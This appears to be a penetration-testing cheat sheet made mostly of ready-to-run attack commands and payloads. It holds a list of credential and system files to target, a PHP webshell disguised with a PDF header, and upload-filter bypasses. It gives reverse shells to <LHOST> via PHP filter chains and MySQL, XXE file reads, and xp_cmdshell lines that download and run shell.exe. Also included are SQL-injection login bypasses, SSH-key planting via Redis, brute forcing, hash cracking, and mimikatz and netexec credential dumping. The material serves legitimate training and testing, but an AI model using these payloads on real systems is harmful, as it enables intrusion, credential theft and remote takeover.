/var/log/httpd/error_log
/var/log/httpd/error.log
/var/log/httpsd/ssl.access_log
/var/log/httpsd/ssl_log
/var/log/kern.log
/var/log/lastlog
/var/log/lighttpd/access.log
/var/log/lighttpd/error.log
/var/log/lighttpd/lighttpd.access.log
/var/log/lighttpd/lighttpd.error.log
/var/log/mail.info
/var/log/mail.log
/var/log/maillog
/var/log/mail.warn
/var/log/message
/var/log/messages
/var/log/mysqlderror.log
/var/log/mysql.log
/var/log/mysql/mysql-bin.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/log/proftpd
/var/log/pureftpd.log
/var/log/pure-ftpd/pure-ftpd.log
/var/log/secure
/var/log/vsftpd.log
/var/log/wtmp
/var/log/xferlog
/var/log/yum.log
/var/mysql.log
/var/run/utmp
/var/spool/cron/crontabs/root
/var/webmin/miniserv.log
/var/www/html<VHOST>/__init__.py
/var/www/html/db_connect.php
/var/www/html/utils.php
/var/www/log/access_log
/var/www/log/error_log
/var/www/logs/access_log
/var/www/logs/error_log
/var/www/logs/access.log
/var/www/logs/error.log
~/.atfp_history
~/.bash_history
~/.bash_logout
~/.bash_profile
~/.bashrc
~/.gtkrc
~/.login
~/.logout
~/.mysql_history
~/.nano_history
~/.php_history
~/.profile
~/.ssh/authorized_keys
~/.ssh/id_dsa
~/.ssh/id_dsa.pub
~/.ssh/id_rsa
~/.ssh/id_rsa.pub
~/.ssh/identity
~/.ssh/identity.pub
~/.viminfo
~/.wm_style
~/.Xdefaults
~/.xinitrc
~/.Xresources
~/.xsessionC:/Users/Administrator/NTUser.dat
C:/Documents and Settings/Administrator/NTUser.dat
C:/apache/logs/access.log
C:/apache/logs/error.log
C:/apache/php/php.ini
C:/boot.ini
C:/inetpub/wwwroot/global.asa
C:/MySQL/data/hostname.err
C:/MySQL/data/mysql.err
C:/MySQL/data/mysql.log
C:/MySQL/my.cnf
C:/MySQL/my.ini
C:/php4/php.ini
C:/php5/php.ini
C:/php/php.ini
C:/Program Files/Apache Group/Apache2/conf/httpd.conf
C:/Program Files/Apache Group/Apache/conf/httpd.conf
C:/Program Files/Apache Group/Apache/logs/access.log
C:/Program Files/Apache Group/Apache/logs/error.log
C:/Program Files/FileZilla Server/FileZilla Server.xml
C:/Program Files/MySQL/data/hostname.err
C:/Program Files/MySQL/data/mysql-bin.log
C:/Program Files/MySQL/data/mysql.err
C:/Program Files/MySQL/data/mysql.log
C:/Program Files/MySQL/my.ini
C:/Program Files/MySQL/my.cnf
C:/Program Files/MySQL/MySQL Server 5.0/data/hostname.err
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql-bin.log
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.err
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.log
C:/Program Files/MySQL/MySQL Server 5.0/my.cnf
C:/Program Files/MySQL/MySQL Server 5.0/my.ini
C:/Program Files (x86)/Apache Group/Apache2/conf/httpd.conf
C:/Program Files (x86)/Apache Group/Apache/conf/httpd.conf
C:/Program Files (x86)/Apache Group/Apache/conf/access.log
C:/Program Files (x86)/Apache Group/Apache/conf/error.log
C:/Program Files (x86)/FileZilla Server/FileZilla Server.xml
C:/Program Files (x86)/xampp/apache/conf/httpd.conf
C:/WINDOWS/php.ini
C:/WINDOWS/Repair/SAM
C:/Windows/repair/system
C:/Windows/repair/software
C:/Windows/repair/security
C:/WINDOWS/System32/drivers/etc/hosts
C:/Windows/win.ini
C:/WINNT/php.ini
C:/WINNT/win.ini
C:/xampp/apache/bin/php.ini
C:/xampp/apache/logs/access.log
C:/xampp/apache/logs/error.log
C:/Windows/Panther/Unattend/Unattended.xml
C:/Windows/Panther/Unattended.xml
C:/Windows/debug/NetSetup.log
C:/Windows/system32/config/AppEvent.Evt
C:/Windows/system32/config/SecEvent.Evt
C:/Windows/system32/config/default.sav
C:/Windows/system32/config/security.sav
C:/Windows/system32/config/software.sav
C:/Windows/system32/config/system.sav
C:/Windows/system32/config/regback/default
C:/Windows/system32/config/regback/sam
C:/Windows/system32/config/regback/security
C:/Windows/system32/config/regback/system
C:/Windows/system32/config/regback/software
C:/Program Files/MySQL/MySQL Server 5.1/my.ini
C:/Windows/System32/inetsrv/config/schema/ASPNET_schema.xml
C:/Windows/System32/inetsrv/config/applicationHost.config
C:/inetpub/logs/LogFiles/W3SVC1/u_ex[YYMMDD].logCreate a file with a PDF header, which contains PHP code.
%PDF-1.4
<?php
system($_GET["cmd"]);
?>http://<RHOST>/index.php?page=uploads/<FILE>.pdf%00&cmd=whoami.sh
.cgi
.inc
.txt
.pht
.phtml
.phP
.Php
.php3
.php4
.php5
.php7
.pht
.phps
.phar
.phpt
.pgif
.phtml
.phtm
.php%00.jpeg<FILE>.php%20
<FILE>.php%0d%0a.jpg
<FILE>.php%0a
<FILE>.php.jpg
<FILE>.php%00.gif
<FILE>.php\x00.gif
<FILE>.php%00.png
<FILE>.php\x00.png
<FILE>.php%00.jpg
<FILE>.php\x00.jpg
mv <FILE>.jpg <FILE>.php\x00.jpgpython3 php_filter_chain_generator.py --chain '<?= exec($_GET[0]); ?>'
python3 php_filter_chain_generator.py --chain "<?php echo shell_exec(id); ?>"
python3 php_filter_chain_generator.py --chain """<?php echo shell_exec(id); ?>"""
python3 php_filter_chain_generator.py --chain """"<?php exec(""/bin/bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'"");?>""""
python3 php_filter_chain_generator.py --chain """"<?php exec(""/bin/bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'"");?>""""http://<RHOST>/?page=php://filter/convert.base64-decode/resource=PD9waHAgZWNobyBzaGVsbF9leGVjKGlkKTsgPz4python3 php_filter_chain_generator.py --chain '<?= exec($_GET[0]); ?>'
[+] The following gadget chain will generate the following code : <?= exec($_GET[0]); ?> (base64 value: PD89IGV4ZWMoJF9HRVRbMF0pOyA/Pg)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|<--- SNIP --->|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp&0=<COMMAND>phpggc -u --fast-destruct Guzzle/FW1 /dev/shm/<FILE>.txt /PATH/TO/FILE/<FILE>.txthttps://<RHOST>/item/2?server=server.<RHOST>/file?id=9&x=https://cobalt.io/blog/a-pentesters-guide-to-server-side-template-injection-ssti
${{<%[%'"}}%\.https://medium.com/@nyomanpradipta120/ssti-in-flask-jinja2-20b068fdaeee
{{ ‘’.__class__.__mro__[1].__subclasses__() }}ASP / ASPX / PHP / PHP3 / PHP5: Webshell / Remote Code Execution
SVG: Stored XSS / Server-Side Request Forgery
GIF: Stored XSS
CSV: CSV Injection
XML: XXE
AVI: Local File Inclusion / Server-Side request Forgery
HTML/JS: HTML Injection / XSS / Open Redirect
PNG / JPEG: Pixel Flood Attack
ZIP: Remote Code Exection via Local File Inclusion
PDF / PPTX: Server-Side Request Forgery / Blind XXEwfuzz -w /usr/share/wfuzz/wordlist/general/big.txt -u http://<RHOST>/FUZZ/<FILE>.php --hc '403,404'wfuzz -w /PATH/TO/WORDLIST -c -f <FILE> -u http://<RHOST> --hc 403,404wfuzz -w /PATH/TO/WORDLIST -u http://<RHOST>/dev/304c0c90fbc6520610abbf378e2339d1/db/file_FUZZ.txt --sc 200 -t 20wfuzz -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -u http://<RHOST>:/<directory>/FUZZ.FUZ2Z -z list,txt-php --hc 403,404 -cwfuzz --hh 0 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H 'Host: FUZZ.<RHOST>' -u http://<RHOST>/wfuzz -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.<RHOST>" --hc 200 --hw 356 -t 100 <RHOST>wfuzz -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt -u http://<RHOST>/FUZZ --hc 403,404wfuzz -X POST -u "http://<RHOST>:<RPORT>/login.php" -d "email=FUZZ&password=<PASSWORD>" -w /PATH/TO/WORDLIST/<WORDLIST>.txt --hc 200 -c
wfuzz -X POST -u "http://<RHOST>:<RPORT>/login.php" -d "username=FUZZ&password=<PASSWORD>" -w /PATH/TO/WORDLIST/<WORDLIST>.txt --ss "Invalid login"wfuzz -c -z file,/usr/share/wordlists/seclists/Fuzzing/SQLi/Generic-SQLi.txt -d 'db=FUZZ' --hl 16 http://<RHOST>/select httpwfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Origin: http://FUZZ.<RHOST>" --filter "r.headers.response~'Access-Control-Allow-Origin'" http://<RHOST>/
wfuzz -c -w /usr/share/wordlists/secLists/Discovery/DNS/subdomains-top1million-110000.txt --hc 400,404,403 -H "Host: FUZZ.<RHOST>" -u http://<RHOST> -t 100
wfuzz -c -w /usr/share/wordlists/secLists/Discovery/DNS/subdomains-top1million-110000.txt --hc 400,403,404 -H "Host: FUZZ.<RHOST>" -u http://<RHOST> --hw <value> -t 100wfuzz -w /usr/share/wordlists/seclists/Fuzzing/4-digits-0000-9999.txt --hw 31 http://10.13.37.11/backups/backup_2021052315FUZZ.zipwfuzz -u 'http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/FUZZ/cmdline' -z range,900-1000wpscan --url https://<RHOST> --enumerate u,t,p
wpscan --url https://<RHOST> --plugins-detection aggressive
wpscan --url https://<RHOST> --disable-tls-checks
wpscan --url https://<RHOST> --disable-tls-checks --enumerate u,t,p
wpscan --url http://<RHOST> -U <USERNAME> -P passwords.txt -t 50GET / HTTP/1.1
Host: <RHOST>:<RPORT>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Length: 136
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://<LHOST>:80/shell.php" >]>
<foo>&xxe;</foo><?xml version="1.0" encoding="UTF-8"?><!DOCTYPE xxe [ <!ENTITY passwd SYSTEM 'file:///etc/passwd'> ]>
<stockCheck><productId>&passwd;</productId><storeId>1</storeId></stockCheck><?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/windows/win.ini'>]><order><quantity>3</quantity><item>&test;</item><address>17th Estate, CA</address></order>username=%26username%3b&version=1.0.0--><!DOCTYPE+username+[+<!ENTITY+username+SYSTEM+"/root/.ssh/id_rsa">+]><!--enum_logins
enum_impersonateimpacket-mssqlclient <USERNAME>@<RHOST>
impacket-mssqlclient <USERNAME>@<RHOST> -windows-auth
impacket-mssqlclient -k -no-pass <RHOST>
sudo mssqlclient.py <RHOST>/<USERNAME>:<USERNAME>@<RHOST> -windows-authexport KRB5CCNAME=<USERNAME>.ccache
impacket-mssqlclient -k <RHOST>.<DOMAIN>exec_as_login sa
enable_xp_cmdshell
xp_cmdshell whoamimongo "mongodb://localhost:27017"> use <DATABASE>;
> show tables;
> show collections;
> db.system.keys.find();
> db.users.find();
> db.getUsers();
> db.getUsers({showCredentials: true});
> db.accounts.find();
> db.accounts.find().pretty();
> use admin;> db.getCollection('users').update({username:"admin"}, { $set: {"services" : { "password" : {"bcrypt" : "$2a$10$n9CM8OgInDlwpvjLKLPML.eizXIzLlRtgCh3GRLafOdR9ldAUh/KG" } } } })sqlcmd -S <RHOST> -U <USERNAME>
sqlcmd -S <RHOST> -U <USERNAME> -P '<PASSWORD>'1> SELECT name FROM master.sys.databases
2> go1> select * from openquery("web\clients", 'select name from master.sys.databases');
2> go1> select * from openquery("web\clients", 'select name from clients.sys.objects');
2> go1> select cast((select content from openquery([web\clients], 'select * from clients.sys.assembly_files') where assembly_id = 65536) as varbinary(max)) for xml path(''), binary base64;
2> go > export.txtSQL> exec master.dbo.xp_dirtree '\\<LHOST>\FOOBAR'SQL> SELECT user_name();
SQL> SELECT name,sysadmin FROM syslogins;
SQL> SELECT srvname,isremote FROM sysservers;
SQL> EXEC ('SELECT current_user') at [<DOMAIN>\<CONFIG_FILE>];
SQL> EXEC ('SELECT srvname,isremote FROM sysservers') at [<DOMAIN>\<CONFIG_FILE>];
SQL> EXEC ('EXEC (''SELECT suser_name()'') at [<DOMAIN>\<CONFIG_FILE>]') at [<DOMAIN>\<CONFIG_FILE>];SQL> EXEC sp_configure 'Show Advanced Options', 1;
SQL> reconfigure;
SQL> sp_configure;
SQL> EXEC sp_configure 'xp_cmdshell', 1;
SQL> reconfigure
SQL> xp_cmdshell "whoami"SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami';EXEC master.dbo.xp_cmdshell 'ping <LHOST>';--
';EXEC master.dbo.xp_cmdshell 'certutil -urlcache -split -f http://<LHOST>/shell.exe C:\\Windows\temp\<FILE>.exe';--
';EXEC master.dbo.xp_cmdshell 'cmd /c C:\\Windows\\temp\\<FILE>.exe';--mysql -u root -p
mysql -u <USERNAME> -h <RHOST> -pmysql> show databases;
mysql> use <DATABASE>;
mysql> show tables;
mysql> describe <TABLE>;
mysql> SELECT * FROM Users;
mysql> SELECT * FROM users \G;
mysql> SELECT Username,Password FROM Users;mysql> update user set password = '37b08599d3f323491a66feabbb5b26af' where user_id = 1;mysql> \! /bin/shmysql> insert into users (id, email) values (<LPORT>, "- E $(bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1')");mysql> SELECT "<KEY>" INTO OUTFILE '/root/.ssh/authorized_keys2' FIELDS TERMINATED BY '' OPTIONALLY ENCLOSED BY '' LINES TERMINATED BY '\n';admin'||''==='
{"username": {"$ne": null}, "password": {"$ne": null} }psql
psql -h <LHOST> -U <USERNAME> -c "<COMMAND>;"
psql -h <RHOST> -p 5432 -U <USERNAME> -d <DATABASE>
psql -h <RHOST> -p 5432 -U <USERNAME> -d <DATABASE>postgres=# \list // list all databases
postgres=# \c // use database
postgres=# \c <DATABASE> // use specific database
postgres=# \s // command history
postgres=# \q // quit
<DATABASE>=# \dt // list tables from current schema
<DATABASE>=# \dt *.* // list tables from all schema
<DATABASE>=# \du // list users roles
<DATABASE>=# \du+ // list users roles
<DATABASE>=# SELECT user; // get current user
<DATABASE>=# TABLE <TABLE>; // select table
<DATABASE>=# SELECT * FROM users; // select everything from users table
<DATABASE>=# SHOW rds.extensions; // list installed extensions
<DATABASE>=# SELECT usename, passwd from pg_shadow; // read credentials> AUTH <PASSWORD>
> AUTH <USERNAME> <PASSWORD>
> INFO SERVER
> INFO keyspace
> CONFIG GET *
> SELECT <NUMBER>
> KEYS *
> HSET // set value if a field within a hash data structure
> HGET // retrieves a field and his value from a hash data structure
> HKEYS // retrieves all field names from a hash data structure
> HGETALL // retrieves all fields and values from a hash data structure
> GET PHPREDIS_SESSION:2a9mbvnjgd6i2qeqcubgdv8n4b
> SET PHPREDIS_SESSION:2a9mbvnjgd6i2qeqcubgdv8n4b "username|s:8:\"<USERNAME>\";role|s:5:\"admin\";auth|s:4:\"True\";" # the value "s:8" has to match the length of the usernameredis-cli -h <RHOST>
echo "FLUSHALL" | redis-cli -h <RHOST>
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /PATH/TO/FILE/<FILE>.txt
cat /PATH/TO/FILE/<FILE>.txt | redis-cli -h <RHOST> -x set s-key
<RHOST>:6379> get s-key
<RHOST>:6379> CONFIG GET dir
1) "dir"
2) "/var/lib/redis"
<RHOST>:6379> CONFIG SET dir /var/lib/redis/.ssh
OK
<RHOST>:6379> CONFIG SET dbfilename authorized_keys
OK
<RHOST>:6379> CONFIG GET dbfilename
1) "dbfilename"
2) "authorized_keys"
<RHOST>:6379> save
OK';#--- // insert everywhere! Shoutout to xsudoxx!
admin' or '1'='1
' or '1'='1
" or "1"="1
" or "1"="1"--
" or "1"="1"/*
" or "1"="1"#
" or 1=1
" or 1=1 --
" or 1=1 -
" or 1=1--
" or 1=1/*
" or 1=1#
" or 1=1-
") or "1"="1
") or "1"="1"--
") or "1"="1"/*
") or "1"="1"#
") or ("1"="1
") or ("1"="1"--
") or ("1"="1"/*
") or ("1"="1"#
) or '1`='1-'-'
' '
'&'
'^'
'*'
' or 1=1 limit 1 -- -+
'="or'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
'-||0'
"-||0"
"-"
" "
"&"
"^"
"*"
'--'
"--"
'--' / "--"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 2 like 2
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' -- -
admin' #
admin'/*
admin' or '2' LIKE '1
admin' or 2 LIKE 2--
admin' or 2 LIKE 2#
admin') or 2 LIKE 2#
admin') or 2 LIKE 2--
admin') or ('2' LIKE '2
admin') or ('2' LIKE '2'#
admin') or ('2' LIKE '2'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin';-- azer
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055'admin@<FQDN>' = 'admin@<FQDN>++++++++++++++++++++++++++++++++++++++htb'sqlite3 <FILE>.dbsqlite> .tables
sqlite> PRAGMA table_info(<TABLE>);
sqlite> SELECT * FROM <TABLE>;sqsh -S <RHOST> -U <USERNAME>
sqsh -S '<RHOST>' -U '<USERNAME>' -P '<PASSWORD>'
sqsh -S '<RHOST>' -U '.\<USERNAME>' -P '<PASSWORD>'EXEC master.sys.xp_dirtree N'C:\inetpub\wwwroot\',1,1;crackmapexec ldap -L
crackmapexec mysql -L
crackmapexec smb -L
crackmapexec ssh -L
crackmapexec winrm -Lcrackmapexec smb <RHOST> -u '' -p '' --shares
crackmapexec smb <RHOST> -u '' -p '' --shares -M spider_plus
crackmapexec smb <RHOST> -u '' -p '' --shares -M spider_plus -o READ_ONLY=false
crackmapexec smb <RHOST> -u " " -p "" --shares
crackmapexec smb <RHOST> -u " " -p "" --shares -M spider_plus
crackmapexec smb <RHOST> -u " " -p "" --shares -M spider_plus -o READ_ONLY=false
crackmapexec smb <RHOST> -u guest -p '' --shares --rid-brute
crackmapexec smb <RHOST> -u guest -p '' --shares --rid-brute 100000
crackmapexec smb <RHOST> -u "guest" -p "" --shares --rid-brute
crackmapexec smb <RHOST> -u "guest" -p "" --shares --rid-brute 100000
crackmapexec ldap <RHOST> -u '' -p '' -M get-desc-users
crackmapexec smb <RHOST> -u "<USERNAME>" --use-kcache --sam
crackmapexec ldap <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --gmsa
crackmapexec ldap <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --gmsa -k
crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --shares
crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --sam
crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --lsa
crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --dpapi
crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --local-auth --sam
crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --local-auth --lsa
crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --local-auth --dpapi
crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" -M lsassy
crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --ntds
crackmapexec smb <RHOST> -u "<USERNAME>" -H "<NTLMHASH>" --ntds
crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --ntds --user <USERNAME>
crackmapexec smb <RHOST> -u "<USERNAME>" -H "<NTLMHASH>" --ntds --user <USERNAME>
crackmapexec smb <RHOST> -u "<USERNAME>" -H <HASH> -x "whoami"
crackmapexec winrm <SUBNET>/24 -u "<USERNAME>" -p "<PASSWORD>" -d .
crackmapexec winrm -u /t -p "<PASSWORD>" -d <DOMAIN> <RHOST>
crackmapexec winrm <RHOST> -u /PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt
crackmapexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt --shares
crackmapexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt --pass-pol
crackmapexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt --lusers
crackmapexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt --sam
crackmapexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt -x 'net user Administrator /domain' --exec-method smbexec
crackmapexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt --wdigest enable
crackmapexec <PROTOCOL> <RHOST> -u /PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt -x 'quser'fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt <FILE>.zippython3 gpp-decrypt.py -f Groups.xml
python3 gpp-decrypt.py -c edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQhashcat --example-hashes
hashcat --help | grep -i "ntlm"hashcat -m 0 md5 /usr/share/wordlists/rockyou.txt
hashcat -m 100 sha-1 /usr/share/wordlists/rockyou.txt
hashcat -m 1400 sha256 /usr/share/wordlists/rockyou.txt
hashcat -m 3200 bcrypt /usr/share/wordlists/rockyou.txt
hashcat -m 900 md4 /usr/share/wordlists/rockyou.txt
hashcat -m 1000 ntlm /usr/share/wordlists/rockyou.txt
hashcat -m 1800 sha512 /usr/share/wordlists/rockyou.txt
hashcat -m 160 hmac-sha1 /usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 0 hash.txt SecLists/Passwords/xato-net-10-million-passwords-1000000.txt -O --force
hashcat -O -m 500 -a 3 -1 ?l -2 ?d -3 ?u --force hash.txt ?3?3?1?1?1?1?2?3hashcat -m 18200 -a 0 <FILE> <FILE>hashcat -m 13100 --force <FILE> <FILE>hashcat -a3 -m0 mantas?d?d?d?u?u?u --force --potfile-disable --stdouthashcat -a6 -m0 "e99a18c428cb38d5f260853678922e03" yourPassword|/usr/share/wordlists/rockyou.txt ?d?d?d?u?u?u --force --potfile-disable --stdoutInternalMonologue.exe -Downgrade False -Restore False -Impersonate True -Verbose False -challange 002233445566778888800spotless::WS01:1122334455667788:26872b3197acf1da493228ac1a54c67c:010100000000000078b063fbcce8d4012c90747792a3cbca0000000008003000300000000000000001000000002000006402330e5e71fb781eef13937448bf8b0d8bc9e2e6a1e1122fd9d690fa9178c50a0010000000000000000000000000000000000009001a0057005300300031005c00730070006f0074006c006500730073000000000000000000hashcat -m5600 'spotless::WS01:1122334455667788:26872b3197acf1da493228ac1a54c67c:010100000000000078b063fbcce8d4012c90747792a3cbca0000000008003000300000000000000001000000002000006402330e5e71fb781eef13937448bf8b0d8bc9e2e6a1e1122fd9d690fa9178c50a0010000000000000000000000000000000000009001a0057005300300031005c00730070006f0074006c006500730073000000000000000000' -a 3 /usr/share/wordlists/rockyou.txt --force --potfile-disablehttps://github.com/NotSoSecure/password_cracking_rules/blob/master/OneRuleToRuleThemAll.rule
hashcat -m 3200 hash.txt -r /PATH/TO/FILE.rulehydra <RHOST> -l <USERNAME> -p <PASSWORD> <PROTOCOL>
hydra <RHOST> -L /PATH/TO/WORDLIST/<FILE> -P /PATH/TO/WORDLIST/<FILE> <PROTOCOL>
hydra <RHOST> -C /PATH/TO/WORDLIST/<FILE> ftpexport HYDRA_PROXY=connect://127.0.0.1:8080
unset HYDRA_PROXYhydra <RHOST> -l <USERNAME> -P /PATH/TO/WORDLIST/<FILE> http-post-form "/admin.php:username=^USER^&password=^PASS^:login_error"
hydra <RHOST> -l <USERNAME> -P /PATH/TO/WORDLIST/<FILE> http-post-form "/index.php:username=user&password=^PASS^:Login failed. Invalid"
hydra <RHOST> -L /PATH/TO/WORDLIST/<FILE> -P /PATH/TO/WORDLIST/<FILE> http-post-form "/login:usernameField=^USER^&passwordField=^PASS^:unsuccessfulMessage" -s <RPORT>
hydra <RHOST> -l root@localhost -P otrs-cewl.txt http-form-post "/otrs/index.pl:Action=Login&RequestedURL=Action=Admin&User=root@localhost&Password=^PASS^:Login failed" -vV -f
hydra <RHOST> -l admin -P /PATH/TO/WORDLIST/<FILE> http-post-form "/Account/login.aspx?ReturnURL=/admin/:__VIEWSTATE=COOKIE_1&__EVENTVALIDATION=COOKIE_2&UserName=^USER^&Password=^PASS^&LoginButton=Log+in:Login failed"/usr/share/john/ssh2john.py id_rsa > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt <FILE>
john --rules --wordlist=/usr/share/wordlists/rockyou.txt <FILE>
john --show <FILE>./kerbrute userenum -d <DOMAIN> --dc <DOMAIN> /PATH/TO/FILE/<USERNAMES>./kerbrute passwordspray -d <DOMAIN> --dc <DOMAIN> /PATH/TO/FILE/<USERNAMES> <PASSWORD>laZagne.exe alltoken::elevate
token::revert
vault::cred
vault::list
lsadump::sam
lsadump::secrets
lsadump::cache
lsadump::dcsync /<USERNAME>:<DOMAIN>\krbtgt /domain:<DOMAIN>.\mimikatz.exe
sekurlsa::minidump /users/admin/Desktop/lsass.DMP
sekurlsa::LogonPasswords
meterpreter > getprivs
meterpreter > creds_all
meterpreter > golden_ticket_create.\mimikatz.exe
sekurlsa::tickets /export
kerberos::ptt [0;76126]-2-0-40e10000-Administrator@krbtgt-<RHOST>.LOCAL.kirbi
klist
dir \\<RHOST>\admin$.\mimikatz.exe
privilege::debug
lsadump::lsa /inject /name:krbtgt
kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-849420856-2351964222-986696166 /krbtgt:5508500012cc005cf7082a9a89ebdfdf /id:500
misc::cmd
klist
dir \\<RHOST>\admin$privilege::debug
misc::skeleton
net use C:\\<RHOST>\admin$ /user:Administrator mimikatz
dir \\<RHOST>\c$ /user:<USERNAME> mimikatznetexec smb <RHOST> -u '' -p '' --shares
netexec smb <RHOST> -u '' -p '' --shares -M spider_plus
netexec smb <RHOST> -u '' -p '' --shares -M spider_plus -o READ_ONLY=false
netexec smb <RHOST> -u '' -p '' --shares -M spider_plus -o DOWNLOAD_FLAG=True
netexec smb <RHOST> -u '' -p '' --shares -M spider_plus -o DOWNLOAD_FLAG=True MAX_FILE_SIZE=99999999
netexec smb <RHOST> -u " " -p "" --shares
netexec smb <RHOST> -u " " -p "" --shares -M spider_plus
netexec smb <RHOST> -u " " -p "" --shares -M spider_plus -o READ_ONLY=false
netexec smb <RHOST> -u " " -p "" --shares -M spider_plus -o DOWNLOAD_FLAG=True
netexec smb <RHOST> -u " " -p "" --shares -M spider_plus -o DOWNLOAD_FLAG=True MAX_FILE_SIZE=99999999
netexec smb <RHOST> -u guest -p '' --shares --rid-brute
netexec smb <RHOST> -u guest -p '' --shares --rid-brute 100000
netexec smb <RHOST> -u "guest" -p "" --shares --rid-brute
netexec smb <RHOST> -u "guest" -p "" --shares --rid-brute 100000
netexec smb <RHOST> -u "<USERNAME>" --use-kcache --users
netexec smb <RHOST> -u "<USERNAME>" --use-kcache --sam
netexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --shares
netexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --sam
netexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --lsa
netexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --dpapi
netexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --local-auth --sam
netexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --local-auth --lsa
netexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --local-auth --dpapi
netexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" -M lsassy
netexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" -M web_delivery -o URL=http://<LHOST>/<FILE>
netexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --ntds
netexec smb <RHOST> -u "<USERNAME>" -H "<NTLMHASH>" --ntds
netexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --ntds --user <USERNAME>
netexec smb <RHOST> -u "<USERNAME>" -H "<NTLMHASH>" --ntds --user <USERNAME>
netexec smb <RHOST> -u "<USERNAME>" -H <HASH> -x "whoami"
netexec ldap <RHOST> -u '' -p '' -M get-desc-users
netexec ldap <RHOST> -u "" -p "" -M get-desc-users
